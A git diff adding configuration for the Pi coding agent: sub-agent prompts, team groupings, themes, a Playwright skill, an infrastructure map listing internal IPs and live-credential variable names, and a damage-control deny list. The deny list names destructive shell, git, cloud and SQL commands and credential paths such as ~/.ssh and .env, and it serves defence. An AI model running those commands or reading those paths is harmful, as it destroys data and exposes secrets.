toolOutput + - Markdown (10): mdHeading, mdLink, mdLinkUrl, mdCode, mdCodeBlock, mdCodeBlockBorder, mdQuote, mdQuoteBorder, mdHr, mdListBullet + - Tool Diffs (3): toolDiffAdded, toolDiffRemoved, toolDiffContext + - Syntax Highlighting (9): syntaxComment, syntaxKeyword, syntaxFunction, syntaxVariable, syntaxString, syntaxNumber, syntaxType, syntaxOperator, syntaxPunctuation + - Thinking Borders (6): thinkingOff, thinkingMinimal, thinkingLow, thinkingMedium, thinkingHigh, thinkingXhigh + - Bash Mode (1): bashMode +- Optional HTML export section (pageBg, cardBg, infoBg) +- Color value formats: hex (#ff0000), 256-color index (0-255), variable reference, empty string for default +- vars system for reusable color definitions +- Theme locations: ~/.pi/agent/themes/, .pi/themes/ +- Hot reload when editing active custom theme +- Selection via /settings or settings.json +- $schema URL for editor validation + +## CRITICAL: First Action +Before answering ANY question, you MUST fetch the latest Pi themes documentation: + +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/themes.md -f markdown -o /tmp/pi-theme-docs.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/themes.md -o /tmp/pi-theme-docs.md +``` + +Then read /tmp/pi-theme-docs.md to have the freshest reference. Also search the local codebase (.pi/themes/) for existing theme examples. + +## How to Respond +- Provide COMPLETE theme JSON with ALL 51 color tokens (no partial themes) +- Use vars for palette consistency +- Include the $schema for validation +- Suggest color harmonies based on the user's aesthetic preference +- Mention hot reload and testing tips diff --git a/.pi/agents/pi-pi/tui-expert.md b/.pi/agents/pi-pi/tui-expert.md new file mode 100644 index 0000000..7024283 --- /dev/null +++ b/.pi/agents/pi-pi/tui-expert.md @@ -0,0 +1,85 @@ +--- +name: tui-expert +description: Pi TUI expert — knows all built-in components (Text, Box, Container, Markdown, Image, SelectList, SettingsList, BorderedLoader), custom components, overlays, keyboard input, widgets, footers, and custom editors +tools: read,grep,find,ls,bash +--- +You are a TUI (Terminal User Interface) expert for the Pi coding agent. You know EVERYTHING about building custom UI components and rendering. + +## Your Expertise + +### Component Interface +- render(width: number): string[] — lines must not exceed width +- handleInput?(data: string) — keyboard input when focused +- wantsKeyRelease? — for Kitty protocol key release events +- invalidate() — clear cached render state + +### Built-in Components (from @mariozechner/pi-tui) +- Text: multi-line text with word wrapping, paddingX, paddingY, background function +- Box: container with padding and background color +- Container: groups children vertically, addChild/removeChild +- Spacer: empty vertical space +- Markdown: renders markdown with syntax highlighting +- Image: renders images in supported terminals (Kitty, iTerm2, Ghostty, WezTerm) +- SelectList: selection dialog with theme, onSelect/onCancel +- SettingsList: toggle settings with theme + +### From @mariozechner/pi-coding-agent +- DynamicBorder: border with color function — ALWAYS type the param: (s: string) => theme.fg("accent", s) +- BorderedLoader: spinner with abort support +- CustomEditor: base class for custom editors (vim mode, etc.) + +### Keyboard Input +- matchesKey(data, Key.up/down/enter/escape/etc.) +- Key modifiers: Key.ctrl("c"), Key.shift("tab"), Key.alt("left"), Key.ctrlShift("p") +- String format: "enter", "ctrl+c", "shift+tab" + +### Width Utilities +- visibleWidth(str) — display width ignoring ANSI codes +- truncateToWidth(str, width, ellipsis?) — truncate with ellipsis +- wrapTextWithAnsi(str, width) — word wrap preserving ANSI codes + +### UI Patterns (copy-paste ready) +1. Selection Dialog: SelectList + DynamicBorder + ctx.ui.custom() +2. Async with Cancel: BorderedLoader with signal +3. Settings/Toggles: SettingsList + getSettingsListTheme() +4. Status Indicator: ctx.ui.setStatus(key, styledText) +5. Widgets: ctx.ui.setWidget(key, lines | factory, { placement }) +6. Custom Footer: ctx.ui.setFooter(factory) +7. Custom Editor: extend CustomEditor, ctx.ui.setEditorComponent(factory) +8. Overlays: ctx.ui.custom(component, { overlay: true, overlayOptions }) + +### Focusable Interface (IME Support) +- CURSOR_MARKER for hardware cursor positioning +- Container propagation for embedded inputs + +### Theming in Components +- theme.fg(color, text) for foreground +- theme.bg(color, text) for background +- theme.bold(text) for bold +- Invalidation pattern: rebuild themed content in invalidate() +- getMarkdownTheme() for Markdown components + +### Key Rules +1. Always use theme from callback — not imported directly +2. Always type DynamicBorder color param: (s: string) => +3. Call tui.requestRender() after state changes in handleInput +4. Return { render, invalidate, handleInput } for custom components +5. Use Text with padding (0, 0) — Box handles padding +6. Cache rendered output with cachedWidth/cachedLines pattern + +## CRITICAL: First Action +Before answering ANY question, you MUST fetch the latest Pi TUI documentation: + +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/tui.md -f markdown -o /tmp/pi-tui-docs.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/tui.md -o /tmp/pi-tui-docs.md +``` + +Then read /tmp/pi-tui-docs.md to have the freshest reference. Also search the local codebase for existing TUI component examples in extensions/. + +## How to Respond +- Provide COMPLETE, WORKING component code +- Include all imports from @mariozechner/pi-tui and @mariozechner/pi-coding-agent +- Show the ctx.ui.custom() wrapper for interactive components +- Handle invalidation properly for theme changes +- Include keyboard input handling where relevant +- Show both the component class and the registration/usage code diff --git a/.pi/agents/plan-reviewer.md b/.pi/agents/plan-reviewer.md new file mode 100644 index 0000000..e720ac7 --- /dev/null +++ b/.pi/agents/plan-reviewer.md @@ -0,0 +1,22 @@ +--- +name: plan-reviewer +description: Plan critic — reviews, challenges, and validates implementation plans +tools: read,grep,find,ls +--- +You are a plan reviewer agent. Your job is to critically evaluate implementation plans. + +For each plan you review: +- Challenge assumptions — are they grounded in the actual codebase? +- Identify missing steps, edge cases, or dependencies the planner overlooked +- Flag risks: breaking changes, migration concerns, performance pitfalls +- Check feasibility — can each step actually be done with the tools and patterns available? +- Evaluate ordering — are steps in the right sequence? Are there hidden dependencies? +- Call out scope creep or over-engineering + +Output a structured critique with: +1. **Strengths** — what the plan gets right +2. **Issues** — concrete problems ranked by severity +3. **Missing** — steps or considerations the plan omitted +4. **Recommendations** — specific, actionable changes to improve the plan + +Be direct and specific. Reference actual files and patterns from the codebase when possible. Do NOT modify files. diff --git a/.pi/agents/planner.md b/.pi/agents/planner.md new file mode 100644 index 0000000..e442c06 --- /dev/null +++ b/.pi/agents/planner.md @@ -0,0 +1,6 @@ +--- +name: planner +description: Architecture and implementation planning +tools: read,grep,find,ls +--- +You are a planner agent. Analyze requirements and produce clear, actionable implementation plans. Identify files to change, dependencies, and risks. Output a numbered step-by-step plan. Do NOT modify files. diff --git a/.pi/agents/red-team.md b/.pi/agents/red-team.md new file mode 100644 index 0000000..be75846 --- /dev/null +++ b/.pi/agents/red-team.md @@ -0,0 +1,6 @@ +--- +name: red-team +description: Security and adversarial testing +tools: read,bash,grep,find,ls +--- +You are a red team agent. Find security vulnerabilities, edge cases, and failure modes. Check for injection risks, exposed secrets, missing validation, and unsafe defaults. Report findings with severity ratings. Do NOT modify files. diff --git a/.pi/agents/reviewer.md b/.pi/agents/reviewer.md new file mode 100644 index 0000000..b130a3d --- /dev/null +++ b/.pi/agents/reviewer.md @@ -0,0 +1,6 @@ +--- +name: reviewer +description: Code review and quality checks +tools: read,bash,grep,find,ls +--- +You are a code reviewer agent. Review code for bugs, security issues, style problems, and improvements. Run tests if available. Be concise and use bullet points. Do NOT modify files. diff --git a/.pi/agents/scout.md b/.pi/agents/scout.md new file mode 100644 index 0000000..5f16b22 --- /dev/null +++ b/.pi/agents/scout.md @@ -0,0 +1,6 @@ +--- +name: scout +description: Fast recon and codebase exploration +tools: read,grep,find,ls +--- +You are a scout agent. Investigate the codebase quickly and report findings concisely. Do NOT modify any files. Focus on structure, patterns, and key entry points. diff --git a/.pi/agents/teams.yaml b/.pi/agents/teams.yaml new file mode 100644 index 0000000..ce8bc75 --- /dev/null +++ b/.pi/agents/teams.yaml @@ -0,0 +1,31 @@ +full: + - scout + - planner + - builder + - reviewer + - documenter + - red-team + +plan-build: + - planner + - builder + - reviewer + +info: + - scout + - documenter + - reviewer + +frontend: + - planner + - builder + - bowser + +pi-pi: + - ext-expert + - theme-expert + - skill-expert + - config-expert + - tui-expert + - prompt-expert + - agent-expert diff --git a/.pi/damage-control-rules.yaml b/.pi/damage-control-rules.yaml new file mode 100644 index 0000000..4ab0272 --- /dev/null +++ b/.pi/damage-control-rules.yaml @@ -0,0 +1,279 @@ +bashToolPatterns: + - pattern: '\brm\s+(-[^\s]*)*-[rRf]' + reason: rm with recursive or force flags + - pattern: '\brm\s+-[rRf]' + reason: rm with recursive or force flags + - pattern: '\brm\s+--recursive' + reason: rm with --recursive flag + - pattern: '\brm\s+--force' + reason: rm with --force flag + - pattern: '\bsudo\s+rm\b' + reason: sudo rm + - pattern: '\brmdir\s+--ignore-fail-on-non-empty' + reason: rmdir ignore-fail + - pattern: '\bchmod\s+(-[^\s]+\s+)*777\b' + reason: chmod 777 (world writable) + - pattern: '\bchmod\s+-[Rr].*777' + reason: recursive chmod 777 + - pattern: '\bchown\s+-[Rr].*\broot\b' + reason: recursive chown to root + - pattern: '\bgit\s+reset\s+--hard\b' + reason: git reset --hard (use --soft or stash) + - pattern: '\bgit\s+clean\s+(-[^\s]*)*-[fd]' + reason: git clean with force/directory flags + - pattern: '\bgit\s+push\s+.*--force(?!-with-lease)' + reason: git push --force (use --force-with-lease) + - pattern: '\bgit\s+push\s+(-[^\s]*)*-f\b' + reason: git push -f (use --force-with-lease) + - pattern: '\bgit\s+stash\s+clear\b' + reason: git stash clear (deletes ALL stashes) + - pattern: '\bgit\s+reflog\s+expire\b' + reason: git reflog expire (destroys recovery mechanism) + - pattern: '\bgit\s+gc\s+.*--prune=now' + reason: git gc --prune=now (can lose dangling commits) + - pattern: '\bgit\s+filter-branch\b' + reason: git filter-branch (rewrites entire history) + - pattern: '\bgit\s+checkout\s+--\s*\.' + reason: Discards all uncommitted changes + ask: true + - pattern: '\bgit\s+restore\s+\.' + reason: Discards all uncommitted changes + ask: true + - pattern: '\bgit\s+stash\s+drop\b' + reason: Permanently deletes a stash + ask: true + - pattern: '\bgit\s+branch\s+(-[^\s]*)*-D' + reason: Force deletes branch (even if unmerged) + ask: true + - pattern: '\bgit\s+push\s+\S+\s+--delete\b' + reason: Deletes remote branch + ask: true + - pattern: '\bgit\s+push\s+\S+\s+:\S+' + reason: Deletes remote branch (old syntax) + ask: true + - pattern: '\bmkfs\.' + reason: filesystem format command + - pattern: '\bdd\s+.*of=/dev/' + reason: dd writing to device + - pattern: '\bkill\s+-9\s+-1\b' + reason: kill all processes + - pattern: '\bkillall\s+-9\b' + reason: killall -9 + - pattern: '\bpkill\s+-9\b' + reason: pkill -9 + - pattern: '\bhistory\s+-c\b' + reason: clearing shell history + - pattern: '\baws\s+s3\s+rm\s+.*--recursive' + reason: aws s3 rm --recursive (deletes all objects) + - pattern: '\baws\s+s3\s+rb\s+.*--force' + reason: aws s3 rb --force (force removes bucket) + - pattern: '\baws\s+ec2\s+terminate-instances\b' + reason: aws ec2 terminate-instances + - pattern: '\baws\s+rds\s+delete-db-instance\b' + reason: aws rds delete-db-instance + - pattern: '\baws\s+cloudformation\s+delete-stack\b' + reason: aws cloudformation delete-stack (deletes infrastructure) + - pattern: '\baws\s+dynamodb\s+delete-table\b' + reason: aws dynamodb delete-table + - pattern: '\baws\s+eks\s+delete-cluster\b' + reason: aws eks delete-cluster + - pattern: '\baws\s+lambda\s+delete-function\b' + reason: aws lambda delete-function + - pattern: '\baws\s+iam\s+delete-role\b' + reason: aws iam delete-role + - pattern: '\baws\s+iam\s+delete-user\b' + reason: aws iam delete-user + - pattern: '\bgcloud\s+projects\s+delete\b' + reason: gcloud projects delete (DELETES ENTIRE PROJECT) + - pattern: '\bgcloud\s+compute\s+instances\s+delete\b' + reason: gcloud compute instances delete + - pattern: '\bgcloud\s+sql\s+instances\s+delete\b' + reason: gcloud sql instances delete + - pattern: '\bgcloud\s+container\s+clusters\s+delete\b' + reason: gcloud container clusters delete (GKE) + - pattern: '\bgcloud\s+storage\s+rm\s+.*-r' + reason: gcloud storage rm -r (recursive delete) + - pattern: '\bgcloud\s+functions\s+delete\b' + reason: gcloud functions delete + - pattern: '\bgcloud\s+iam\s+service-accounts\s+delete\b' + reason: gcloud iam service-accounts delete + - pattern: '\bgcloud\s+run\s+services\s+delete\b' + reason: gcloud run services delete (deletes Cloud Run service) + - pattern: '\bgcloud\s+run\s+jobs\s+delete\b' + reason: gcloud run jobs delete (deletes Cloud Run job) + - pattern: '\bgcloud\s+services\s+disable\b' + reason: gcloud services disable (disables GCP APIs) + - pattern: '\bgcloud\s+iam\s+roles\s+delete\b' + reason: gcloud iam roles delete (deletes IAM role) + - pattern: '\bgcloud\s+iam\s+policies\b' + reason: gcloud iam policies (modifies IAM policies) + ask: true + - pattern: '\bfirebase\s+projects:delete\b' + reason: firebase projects:delete (deletes entire project) + - pattern: '\bfirebase\s+firestore:delete\s+.*--all-collections' + reason: firebase firestore:delete --all-collections (wipes all data) + - pattern: '\bfirebase\s+database:remove\b' + reason: firebase database:remove (wipes Realtime DB) + - pattern: '\bfirebase\s+hosting:disable\b' + reason: firebase hosting:disable + - pattern: '\bfirebase\s+functions:delete\b' + reason: firebase functions:delete + - pattern: '\bvercel\s+remove\s+.*--yes' + reason: vercel remove --yes (removes deployment) + - pattern: '\bvercel\s+projects\s+rm\b' + reason: vercel projects rm (deletes project) + - pattern: '\bvercel\s+env\s+rm\b' + reason: vercel env rm (removes env variables) + - pattern: '\bvercel\s+rm\b' + reason: vercel rm (removes deployment) + - pattern: '\bvercel\s+remove\b' + reason: vercel remove (removes deployment) + - pattern: '\bvercel\s+domains\s+rm\b' + reason: vercel domains rm (removes custom domain) + - pattern: '\bnetlify\s+sites:delete\b' + reason: netlify sites:delete (deletes entire site) + - pattern: '\bnetlify\s+functions:delete\b' + reason: netlify functions:delete + - pattern: '\bwrangler\s+delete\b' + reason: wrangler delete (deletes Worker) + - pattern: '\bwrangler\s+r2\s+bucket\s+delete\b' + reason: wrangler r2 bucket delete + - pattern: '\bwrangler\s+kv:namespace\s+delete\b' + reason: wrangler kv:namespace delete + - pattern: '\bwrangler\s+d1\s+delete\b' + reason: wrangler d1 delete (deletes database) + - pattern: '\bwrangler\s+queues\s+delete\b' + reason: wrangler queues delete + - pattern: 'DELETE\s+FROM\s+\w+\s*;' + reason: DELETE without WHERE clause (will delete ALL rows) + - pattern: 'DELETE\s+\*\s+FROM' + reason: DELETE * (will delete ALL rows) + - pattern: '\bTRUNCATE\s+TABLE\b' + reason: TRUNCATE TABLE (will delete ALL rows) + - pattern: '\bDROP\s+TABLE\b' + reason: DROP TABLE + - pattern: '\bDROP\s+DATABASE\b' + reason: DROP DATABASE + - pattern: '\bDROP\s+SCHEMA\b' + reason: DROP SCHEMA + - pattern: '\bDELETE\s+FROM\s+\w+\s+WHERE\b.*\bid\s*=' + reason: SQL DELETE with specific ID + ask: true + +zeroAccessPaths: + - ".env" + - ".env.local" + - ".env.development" + - ".env.production" + - ".env.staging" + - ".env.test" + - ".env.*.local" + - "*.env" + - "~/.ssh/" + - "~/.gnupg/" + - "~/.aws/" + - "~/.config/gcloud/" + - "*-credentials.json" + - "*serviceAccount*.json" + - "*service-account*.json" + - "~/.azure/" + - "~/.kube/" + - "kubeconfig" + - "*-secret.yaml" + - "secrets.yaml" + - "~/.docker/" + - "*.pem" + - "*.key" + - "*.p12" + - "*.pfx" + - "*.tfstate" + - "*.tfstate.backup" + - ".terraform/" + - ".vercel/" + - ".netlify/" + - "firebase-adminsdk*.json" + - "serviceAccountKey.json" + - ".supabase/" + - "~/.netrc" + - "~/.npmrc" + - "~/.pypirc" + - "~/.git-credentials" + - ".git-credentials" + - "dump.sql" + - "backup.sql" + - "*.dump" + +readOnlyPaths: + - /etc/ + - /usr/ + - /bin/ + - /sbin/ + - /boot/ + - /root/ + - ~/.bash_history + - ~/.zsh_history + - ~/.node_repl_history + - ~/.bashrc + - ~/.zshrc + - ~/.profile + - ~/.bash_profile + - "package-lock.json" + - "yarn.lock" + - "pnpm-lock.yaml" + - "Gemfile.lock" + - "poetry.lock" + - "Pipfile.lock" + - "composer.lock" + - "Cargo.lock" + - "go.sum" + - "flake.lock" + - "bun.lockb" + - "uv.lock" + - "npm-shrinkwrap.json" + - "*.lock" + - "*.lockb" + - "*.min.js" + - "*.min.css" + - "*.bundle.js" + - "*.chunk.js" + - dist/ + - build/ + - .next/ + - .nuxt/ + - .output/ + - node_modules/ + - __pycache__/ + - .venv/ + - venv/ + - target/ + +noDeletePaths: + - ~/.claude/ + - CLAUDE.md + - "LICENSE" + - "LICENSE.*" + - "COPYING" + - "COPYING.*" + - "NOTICE" + - "PATENTS" + - "README.md" + - "README.*" + - "CONTRIBUTING.md" + - "CHANGELOG.md" + - "CODE_OF_CONDUCT.md" + - "SECURITY.md" + - .git/ + - .gitignore + - .gitattributes + - .gitmodules + - .github/ + - .gitlab-ci.yml + - .circleci/ + - Jenkinsfile + - .travis.yml + - azure-pipelines.yml + - Dockerfile + - "Dockerfile.*" + - docker-compose.yml + - "docker-compose.*.yml" + - .dockerignore diff --git a/.pi/infra.md b/.pi/infra.md new file mode 100644 index 0000000..21600dc --- /dev/null +++ b/.pi/infra.md @@ -0,0 +1,62 @@ +# Infrastructure Access +# All values live in `.env` (gitignored). This file maps the topology. + +## Server +| Var | Purpose | +|-----|---------| +| `SSH_USER`, `SSH_HOST`, `SSH_PORT` | Primary server SSH access | + +## Incus Containers (on primary server) +| Container | Internal IP | Status | Purpose | +|-----------------|-----------------|---------|---------------| +| cr-server-new | 10.213.16.224 | RUNNING | CharityRight | +| qc-server-new | 10.213.16.234 | RUNNING | QuikCue | +| qc-server | — | STOPPED | legacy | + +## HAProxy (on primary server) +| Domain pattern | Backend | +|----------------------|----------------------| +| charityright domains | → cr-server-new:443/80 | +| quikcue domains | → qc-server-new:443/80 | +| antivirus.quikcue.com| → localhost:8877 | +| SSH (gitea) | → qc-server-new:2224 | + +## Databases +| Var | Type | Purpose | +|-----|------|---------| +| `DATABASE_URL` | Postgres | donation_warehouse (port 5000 on primary) | +| `MYSQL_HOST`, `MYSQL_PORT`, `MYSQL_DATABASE`, `MYSQL_USER`, `MYSQL_PASSWORD` | MySQL | CharityRight legacy (DigitalOcean managed) | +| `REDIS_HOST`, `REDIS_PASSWORD`, `REDIS_PORT` | Redis | CharityRight sessions/cache | + +## Services on Server +| Path | Service | Key Vars | +|------|---------|----------| +| `/opt/ayn-antivirus` | AYN Antivirus scanner + dashboard | `ANTHROPIC_API_KEY` | +| `/opt/enthuse-db-sync-v2` | Enthuse donation sync | `ENTHUSE_EMAIL`, `TOTP_SECRET`, `GOOGLE_CLIENT_*` | +| `/opt/launchgood-sync` | LaunchGood donation sync | `LG_EMAIL`, `LG_PASSWORD` | +| `/root/legacy-donation-system-laravel` | CharityRight Laravel app | `STRIPE_*`, `PAYPAL_*`, `GOCARDLESS_*`, `POSTMARK_TOKEN` | +| `/root/redis-v2` | Redis instance | `REDIS_PASSWORD` | + +## Payment Providers +| Var prefix | Provider | +|------------|----------| +| `STRIPE_*` | Stripe (live) | +| `PAYPAL_*` | PayPal (live) | +| `GOCARDLESS_*` | GoCardless (live) | + +## Mail +| Var | Provider | +|-----|----------| +| `SENDGRID_TX_API_KEY` | SendGrid | +| `POSTMARK_TOKEN` | Postmark (active mailer) | + +## Third-party Integrations +| Var | Service | +|-----|---------| +| `N3O_*_ENDPOINT` | N3O/Engage donation import hooks | +| `ZAPIER_WEBHOOK_ENDPOINT` | Zapier automation | +| `GOOGLE_PLACES_API_KEY` | Google Places autocomplete | +| `CT_STRAVA_*` | Strava challenge tracker | +| `WORDPRESS_URL`, `WORDPRESS_KEY` | WordPress (Cloudways) | +| `TELEGRAM_BOT_TOKEN`, `TELEGRAM_BOT_USERNAME` | Telegram bot (@cr_management_smart_bot) | +| `TELEGRAM_ALLOWED_USERS` | Comma-separated Telegram user IDs (empty = open) | diff --git a/.pi/observatory/.gitignore b/.pi/observatory/.gitignore new file mode 100644 index 0000000..d5e0d85 --- /dev/null +++ b/.pi/observatory/.gitignore @@ -0,0 +1,3 @@ +events.jsonl +summary.json +report.md diff --git a/.pi/observatory/.gitkeep b/.pi/observatory/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/.pi/settings.json b/.pi/settings.json new file mode 100644 index 0000000..b6bdc35 --- /dev/null +++ b/.pi/settings.json @@ -0,0 +1,6 @@ +{ + "theme": "synthwave", + "prompts": [ + "../.claude/commands" + ] +} \ No newline at end of file diff --git a/.pi/skills/bowser.md b/.pi/skills/bowser.md new file mode 100644 index 0000000..5b67413 --- /dev/null +++ b/.pi/skills/bowser.md @@ -0,0 +1,120 @@ +--- +name: bowser +description: Headless browser automation using Playwright CLI. Use when you need headless browsing, parallel browser sessions, UI testing, screenshots, web scraping, or browser automation that can run in the background. Keywords - playwright, headless, browser, test, screenshot, scrape, parallel. +allowed-tools: Bash +--- + +# Playwright Bowser + +## Purpose + +Automate browsers using `playwright-cli` (via `@playwright/cli`) — a token-efficient CLI for Playwright. Runs headless by default, supports parallel sessions via named sessions (`-s=`), and doesn't load tool schemas into context. + +## Prerequisites + +Ensure the package is installed in the project: +```bash +bun add -d @playwright/cli +bunx playwright install chromium +``` + +## Key Details + +- **Headless by default** — pass `--headed` to `open` to see the browser +- **Parallel sessions** — use `-s=` to run multiple independent browser instances +- **Persistent profiles** — cookies and storage state preserved between calls +- **Token-efficient** — CLI-based, no accessibility trees or tool schemas in context +- **Vision mode** (opt-in) — set `PLAYWRIGHT_MCP_CAPS=vision` to receive screenshots as image responses in context instead of just saving to disk + +## Sessions + +**Always use a named session.** Derive a short, descriptive kebab-case name from the user's prompt. This gives each task a persistent browser profile (cookies, localStorage, history) that accumulates across calls. + +```bash +# Derive session name from prompt context: +# "test the checkout flow on mystore.com" → -s=mystore-checkout +# "scrape pricing from competitor.com" → -s=competitor-pricing +# "UI test the login page" → -s=login-ui-test + +bunx playwright-cli -s=mystore-checkout open https://mystore.com --persistent +bunx playwright-cli -s=mystore-checkout snapshot +bunx playwright-cli -s=mystore-checkout click e12 +``` + +Managing sessions: +```bash +bunx playwright-cli list # list all sessions +bunx playwright-cli close-all # close all sessions +bunx playwright-cli -s= close # close specific session +bunx playwright-cli -s= delete-data # wipe session profile +``` + +## Quick Reference + +``` +Core: open [url], goto , click , fill , type , snapshot, screenshot [ref], close +Navigate: go-back, go-forward, reload +Keyboard: press , keydown , keyup +Mouse: mousemove , mousedown, mouseup, mousewheel +Tabs: tab-list, tab-new [url], tab-close [index], tab-select +Save: screenshot [ref], pdf, screenshot --filename=f +Storage: state-save, state-load, cookie-*, localstorage-*, sessionstorage-* +Network: route , route-list, unroute, network +DevTools: console, run-code , tracing-start/stop, video-start/stop +Sessions: -s= , list, close-all, kill-all +Config: open --headed, open --browser=chrome, resize +``` + +## Workflow + +1. Derive a session name from the user's prompt and open with `--persistent` to preserve cookies/state. Always set the viewport via env var at launch: +```bash +PLAYWRIGHT_MCP_VIEWPORT_SIZE=1440x900 bunx playwright-cli -s= open --persistent +# or headed: +PLAYWRIGHT_MCP_VIEWPORT_SIZE=1440x900 bunx playwright-cli -s= open --persistent --headed +# or with vision (screenshots returned as image responses in context): +PLAYWRIGHT_MCP_VIEWPORT_SIZE=1440x900 PLAYWRIGHT_MCP_CAPS=vision bunx playwright-cli -s= open --persistent +``` + +3. Get element references via snapshot: +```bash +bunx playwright-cli snapshot +``` + +4. Interact using refs from snapshot: +```bash +bunx playwright-cli click +bunx playwright-cli fill "text" +bunx playwright-cli type "text" +bunx playwright-cli press Enter +``` + +5. Capture results: +```bash +bunx playwright-cli screenshot +bunx playwright-cli screenshot --filename=output.png +``` + +6. **Always close the session when done.** This is not optional — close the named session after finishing your task: +```bash +bunx playwright-cli -s= close +``` + +## Configuration + +If a `playwright-cli.json` exists in the working directory, use it automatically. If the user provides a path to a config file, use `--config path/to/config.json`. Otherwise, skip configuration — the env var and CLI defaults are sufficient. + +```json +{ + "browser": { + "browserName": "chromium", + "launchOptions": { "headless": true }, + "contextOptions": { "viewport": { "width": 1440, "height": 900 } } + }, + "outputDir": "./screenshots" +} +``` + +## Full Help + +Run `bunx playwright-cli --help` or `bunx playwright-cli --help ` for detailed command usage. diff --git a/.pi/themes/catppuccin-mocha.json b/.pi/themes/catppuccin-mocha.json new file mode 100644 index 0000000..27819b3 --- /dev/null +++ b/.pi/themes/catppuccin-mocha.json @@ -0,0 +1,86 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "catppuccin-mocha", + "vars": { + "bg": "#1e1e2e", + "bgDark": "#181825", + "bgDeep": "#13131e", + "surface": "#2a2a3c", + "selection": "#34344a", + "bgRed": "#2e1420", + "bgGreen": "#142218", + "bgPeach": "#2e2010", + "bgBlue": "#141e38", + "bgMauve": "#261840", + "bgTeal": "#122830", + "comment": "#d5bcff", + "fg": "#ffffff", + "fgSoft": "#bbbbbb", + "red": "#ff7eb3", + "maroon": "#ffa0b8", + "peach": "#ffb370", + "yellow": "#ffe585", + "green": "#7af5a0", + "teal": "#60f0d8", + "sky": "#6ae4ff", + "sapphire": "#5cceff", + "blue": "#7db8ff", + "lavender": "#bfb8ff", + "mauve": "#d9a0ff", + "flamingo": "#ffc4c4", + "pink": "#ffb0e0" + }, + "colors": { + "accent": "mauve", + "border": "selection", + "borderAccent": "mauve", + "borderMuted": "surface", + "success": "green", + "error": "red", + "warning": "yellow", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "teal", + "selectedBg": "bgMauve", + "userMessageBg": "bgBlue", + "userMessageText": "fg", + "customMessageBg": "bgTeal", + "customMessageText": "fg", + "customMessageLabel": "teal", + "toolPendingBg": "bgPeach", + "toolSuccessBg": "bgGreen", + "toolErrorBg": "bgRed", + "toolTitle": "peach", + "toolOutput": "fgSoft", + "mdHeading": "peach", + "mdLink": "blue", + "mdLinkUrl": "comment", + "mdCode": "sky", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "green", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "mauve", + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "mauve", + "syntaxFunction": "blue", + "syntaxVariable": "pink", + "syntaxString": "green", + "syntaxNumber": "peach", + "syntaxType": "sky", + "syntaxOperator": "lavender", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "comment", + "thinkingLow": "blue", + "thinkingMedium": "sky", + "thinkingHigh": "mauve", + "thinkingXhigh": "red", + "bashMode": "yellow" + } +} diff --git a/.pi/themes/cyberpunk.json b/.pi/themes/cyberpunk.json new file mode 100644 index 0000000..09ad7df --- /dev/null +++ b/.pi/themes/cyberpunk.json @@ -0,0 +1,81 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "cyberpunk", + "vars": { + "bg": "#0a0a14", + "bgDark": "#06060e", + "bgDeep": "#040410", + "surface": "#12122a", + "selection": "#1a1a38", + "bgRed": "#2a0a12", + "bgOrange": "#2a1408", + "bgSky": "#081a30", + "bgCyan": "#0a2228", + "bgWarm": "#220a30", + "bgPink": "#2a0a22", + "fg": "#ffffff", + "fgSoft": "#bbbbbb", + "comment": "#ffe600", + "yellow": "#ffe600", + "cyan": "#00e5ff", + "magenta": "#ff00aa", + "red": "#ff1744", + "green": "#00e676", + "purple": "#aa00ff", + "blue": "#2979ff", + "orange": "#ff6d00" + }, + "colors": { + "accent": "cyan", + "border": "magenta", + "borderAccent": "yellow", + "borderMuted": "surface", + "success": "green", + "error": "red", + "warning": "orange", + "muted": "comment", + "dim": "comment", + "text": "fg", + "thinkingText": "green", + "selectedBg": "bgPink", + "userMessageBg": "bgWarm", + "userMessageText": "fg", + "customMessageBg": "bgCyan", + "customMessageText": "fg", + "customMessageLabel": "cyan", + "toolPendingBg": "bgOrange", + "toolSuccessBg": "bgSky", + "toolErrorBg": "bgRed", + "toolTitle": "yellow", + "toolOutput": "fgSoft", + "mdHeading": "magenta", + "mdLink": "cyan", + "mdLinkUrl": "comment", + "mdCode": "green", + "mdCodeBlock": "fgSoft", + "mdCodeBlockBorder": "surface", + "mdQuote": "purple", + "mdQuoteBorder": "surface", + "mdHr": "surface", + "mdListBullet": "yellow", + "toolDiffAdded": "green", + "toolDiffRemoved": "red", + "toolDiffContext": "comment", + "syntaxComment": "comment", + "syntaxKeyword": "magenta", + "syntaxFunction": "cyan", + "syntaxVariable": "yellow", + "syntaxString": "green", + "syntaxNumber": "purple", + "syntaxType": "blue", + "syntaxOperator": "magenta", + "syntaxPunctuation": "fgSoft", + "thinkingOff": "surface", + "thinkingMinimal": "comment", + "thinkingLow": "blue", + "thinkingMedium": "purple", + "thinkingHigh": "cyan", + "thinkingXhigh": "magenta", + "bashMode": "orange" + } +} diff --git a/.pi/themes/dracula.json b/.pi/themes/dracula.json new file mode 100644 index 0000000..d42a72c --- /dev/null +++ b/.pi/themes/dracula.json @@ -0,0 +1,81 @@ +{ + "$schema": "https://raw.githubusercontent.com/badlogic/pi-mono/main/packages/coding-agent/src/modes/interactive/theme/theme-schema.json", + "name": "dracula", + "vars": { + "bg": "#1a1b26", + "bgDark": "#161722", + "bgDeep": "#141520", + "surface": "#252738", + "selection": "#2c2e44", + "bgRed": "#2e1220", + "bgOrange": "#2e1c12", + "bgGreen": "#122e1a", + "bgCyan": "#122a2e", + "bgPurple": "#261536", + "bgPink": "#2e1228", + "fg": "#ffffff", + "fgSoft": 